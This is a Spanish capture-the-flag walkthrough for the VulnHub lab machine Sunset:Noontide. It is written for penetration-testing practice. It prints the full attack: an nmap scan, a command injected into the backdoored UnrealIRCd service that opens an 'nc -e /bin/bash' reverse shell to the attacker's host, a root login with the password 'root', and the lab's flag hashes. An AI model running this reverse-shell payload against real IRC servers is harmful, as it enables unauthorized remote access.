[VULNHUB] Sunset:Noontide

Hoy vamos a hackear la maquina de Vulnhub llamada Sunset:Noontide. Podeis descargarla desde el siguiente enlace: Sunset-Noontide

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

~ > nmap -A 192.168.1.66                                                      
Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-07 19:27 CEST
Nmap scan report for 192.168.1.66
Host is up (0.00069s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd (Admin email example@example.com)

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
Vemos que solo tiene 1 puerto abierto y se trata del 6667 donde esta corriendo UnrealIRCd. Buscamos si hay algun exploit y encontramos[1]. Tras ver el exploit, vemos que podemos realizar la "explotacion" a mano sin necesidad de exploit.

Exploitation


Ponemos nc a la escucha...

~ > nc -nlvp 4444
listening on [any] 4444 ...
Usamos nc para conectarnos al server IRC, y una vez conectados deberemos poner AB;payload\n donde reemplazaremos "payload" por un comando para que nos de una reverse shell.

~ > nc 192.168.1.66 6667                                                   
:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
AB;nc -e /bin/bash 192.168.1.59 4444\n
:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP 
address instead

Low Shell


Obtenemos nuestra shell :)

~ > nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.1.59] from (UNKNOWN) [192.168.1.66] 55528
id
uid=1000(server) gid=1000(server) 
groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
,109(netdev),111(bluetooth)
python3 -c 'import pty;pty.spawn("/bin/bash")'
server@noontide:~/irc/Unreal3.2$ id
uid=1000(server) gid=1000(server) 
groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
,109(netdev),111(bluetooth)
server@noontide:~/irc/Unreal3.2$ 

local.txt


Una vez dentro, buscamos la flag de user...

server@noontide:~/irc/Unreal3.2$ cd /home
server@noontide:/home$ ls
server
server@noontide:/home$ cd server
server@noontide:~$ ls
irc  local.txt
server@noontide:~$ cat local.txt
c53c08b5bf2b0801c5d0c24149826a6e

Privilege Escalation


Tras explorar el sistema, empezamos por probar lo "facil" y resulta que funciona :)

server@noontide:~$ su root
Password: root

root.txt


Ya como root, miramos la flag!

root@noontide:/home/server# cd /root
root@noontide:~# ls
proof.txt
root@noontide:~# cat proof.txt
ab28c8ca8da1b9ffc2d702ac54221105

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

End


Y con esto ya seriamos root de la maquina. [1] https://www.exploit-db.com/exploits/13853